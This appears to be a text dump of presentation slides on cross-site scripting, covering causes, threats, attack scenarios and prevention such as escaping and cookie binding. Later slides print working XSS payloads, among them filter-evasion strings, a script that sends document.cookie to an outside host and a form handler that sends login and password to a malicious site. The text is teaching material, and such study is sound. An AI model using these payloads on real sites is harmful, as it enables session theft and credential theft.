jst a little info about hw internet hacking is done and how to protect it ...

1. Internet a great source for every work… In which for every work there is a different site.. Earlier these sites were static… i.e. just the paragraphs and text files….which was a huge task to read …. But today the Websites are more complex than ever, containing a lot of graphic anddynamic content making the experience for the user more enjoyable. 1

2. Dynamic content >> Images >> Music >> Different Styled Text >> Advertisements And many more ………. 2

3. WELL NOW LET US CONCENTRATE ON THE USEFUL MATTER………… 3

4. 4 Cross Site Scripting XSS

5. It is a type of computer security vulnerability found in web applications which is done by injection or introduction of untrusted content into a dynamic web page, about which neither the Web sites nor the client has enough information to recognize it….. & this injected code is called XSS Hole… 5

6. Causes ????? The DYNAMIC content…….. Its overview is attractive for the users but like worms it is eating the user at the back…. Lack of CODE practicing…… This cause is based on the fact that the developer who inserts the script has not a lot of experience and is in deficient to provide proper security. 6

7. Threats …………… Taking over the user session before the user's session cookie expires. Connect users to a malicious server of the attacker's choice. Convince a user to access a URL supplied by the attacker could cause script or HTML of the attacker's choice to be executed in the user's browser. Using this technique, an attacker can take actions with the privileges of the user who accessed the URL, such as issuing queries on the underlying SQL databases and viewing the results . (GMAIL example) 7

8. How it is performed??? Cross-site scripting holes allow attackers to bypass client-side security mechanisms imposed on web content by modern browsers. By finding ways of injecting malicious scripts into web pages, an attacker can gain elevated access privileges to sensitive page content, session cookies(information maintained by the browser on behalf of the user). 8

10. Script content can be loaded from anywhere (RPC/Remote scripting is common).

11. Most attacks are only focused on collecting cookies.

12. Attacker does not know actual responses to client.

15. Examples of attacks………. 13

16. Scripting Via Malicious Link… 14

17. In this scenario, the attacker sends a specially crafted e-mail message to a victim containing malicious link scripting like:<A HREF=http://legitimateSite.com/registration.cgi?clientprofile=<SCRIPT>malicious code</SCRIPT>>Click here</A>When a user clicks on this link, the URL is sent to site name including the malicious code. If the legitimate server sends a page back to the user including the value of clientprofile, the malicious code will be executed on the client Web browser 15

18. Stealing User’s COOKIE… 16

19. If any part of the Web site uses cookies, then it may be possible to steal them from its users. In this scenario, the attacker files a page with malicious script to the part of the site that is vulnerable. When the page is displayed, the malicious script runs, collects the users' cookies, and sends a request to the attacker's Web site with the cookies gathered. Using this technique, the attacker can gain sensitive data such as passwords, credit card numbers, and any arbitrary information the user inputs 17

20. Sending an Unauthorized Request ... 18

21. In this scenario, the user unknowingly executes scripts written by an attacker when they follow a malicious link in a mail message. Because the malicious scripts are executed in a context that appears to have originated from the legitimate server, the attacker has full access to the document retrieved and may send data contained in the page back to their site. If the embedded script code has additional interactions capability with the legitimate server without alerting the victim, the attacker could develop and exploit that posted data to a different page on the legitimate Web server 19

22. By Scripting... 20

23. Script can read all HTML content/tags in other window Script can set/delete tags/content in other window. We can read and set form values, then run a submit() Script can set vars and call functions in other window Document.write can allow script to create new tags/content in other window This means that a script can read all HTML contents of a document, change the appearance of the document, modify exiting tags/and values, modify and submit forms. We have full control of the other window as long it’s in same document.domain If we can forward cookies, then we can also forward other jscript accessible content to an attacker. We can forward page contents, form values (including hidden…) jscript vars/state, jscript errors. 21

24. Some FACTS about the XSS attacks……… 22

25. By SURVEY……… 1st Gen XSS was against public sites and ran against everyone that visited site 2nd Gen XSS focused on sites that allow self-reflection XSS 23

27. Cross-site scripting carried out on websites were roughly 80% of all security vulnerabilities documented by Symantec as of 2007.

29. Some prominent sites that have been affected in the past are…… The search engine Google The email services of Google and Yahoo! The social networking sites Facebook, MySpace, and Orkut. The developers of MediaWiki have fixed at least 26 XSS holes in order to protect Wikipedia and other wiki users. Researchers have claimed that as many as 68% of websites are likely open to XSS attacks. 26

30. By seeing all this the question that arises is……. Then how can we preventit ??????? 27

31. Yes , some methods are there for prevention n those are : >> Filtering >> Cookie Security >> Disabling Scripts >> Encryption 28

32. Filtering One way to eliminate some XSS vulnerabilities is to validate and reject undesirable characters in input fields, or escape all untrusted data using a method appropriate for the output context. There are several different escaping schemes that must be used depending on where the untrusted string needs to be placed—including HTML numeric entity encoding, JavaScript escaping, CSS escaping, and URL encoding. Most web applications that do not need to accept rich data can use escaping to largely eliminate the risk of XSS in a fairly straightforward manner. 29

33. Cookie Security Many web applications rely on session cookies for authentication between individual HTTP requests, and because client-side scripts generally have access to these cookies, simple XSS exploits can steal these cookies. To mitigate this particular threat , many web applications tie session cookies to the IP address of the user who originally logged in, and only permit that IP to use that cookie. 30

35. Many sites do not work without client-side scripting, forcing users to disable protection for that site and opening their systems to the threat31

36. 32 The easiest way to protect yourself as a user is to only follow links from the main website you wish to view and use its search engine to find the content.

37. For explaining Purpose Remember the syntax…. 33

38. SYNTAX script injection in an image src tag.. 􀂄 Embed nested quotes.. 􀂄 or , or 0022 0027 􀂄 Keyword filters that allow any js to execute are useless: 􀂄 A = ‘navi’; B = ‘gator.userAgent’; alert(eval(A+B)) Limited input length + script block embed = unlimited script power (script src=) 􀂄 SSL pages warn if script src comes from untrusted site, 􀂄 but if you can upload say img that is actually .js commands.. 􀂄 methods of script encoding. 􀂄 <img src='vbscript:do%63ument.lo%63ation="http:/ /a.b.com"'> 􀂄 <IMG SRC="javascript:alert('test');"> 􀂄 <IMG SRC="javasc ript:alert('test');"> 34

39. Types of information leakage Client can reveal cookies to 3rd party (session state, order info, etc) http://host/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?'%20+document.cookie</script> Client can reveal posted form items to 3rd party (userID/passwd, etc) <form> action="logoninformation.jsp" method="post" onsubmit="hackImg=new Image; hackImg.src='http://www.malicioussite.com/'+document.forms(1).login.value'+':'+ document.forms(1).password.value;" </form> Client can be tricked into accessing/posting spoofed info to trusted server www.trustedserver.com/xss.asp?name = <iframe src=http://www.trustedserver.com/auth_area/orderupdate?items=4000></iframe> 35

40. 36 YOU CAN FIND EXAMPLES OF XSS ON THESE WEBSITES http://www.cgisecurity.com/archive/php/phpNuke_cross_site_scripting.txt http://www.cgisecurity.com/archive/php/phpNuke_CSS_5_holes.txt http://www.cgisecurity.com/archive/php/phpNuke_2_more_CSS_holes.txt

41. 37 Related vulnerabilities Several classes of vulnerabilities or attack techniques are related to XSS: cross-zone scripting exploits "zone" concepts in certain browsers and usually executes code with a greater privilege.[31] HTTP header injection can be used to create cross-site scripting conditions due to escaping problems on HTTP protocol level (in addition to enabling attacks such as HTTP response splitting).[32] Cross-site request forgery (CSRF/XSRF) is almost the opposite of XSS, in that rather than exploiting the user's trust in a site, the attacker (and his malicious page) exploits the site's trust in the client software, submitting requests that the site believes represent conscious and intentional actions of authenticated users.[33] Lastly, SQL injection exploits a vulnerability in the database layer of an application. When user input is incorrectly filtered any SQL statements can be executed by the application.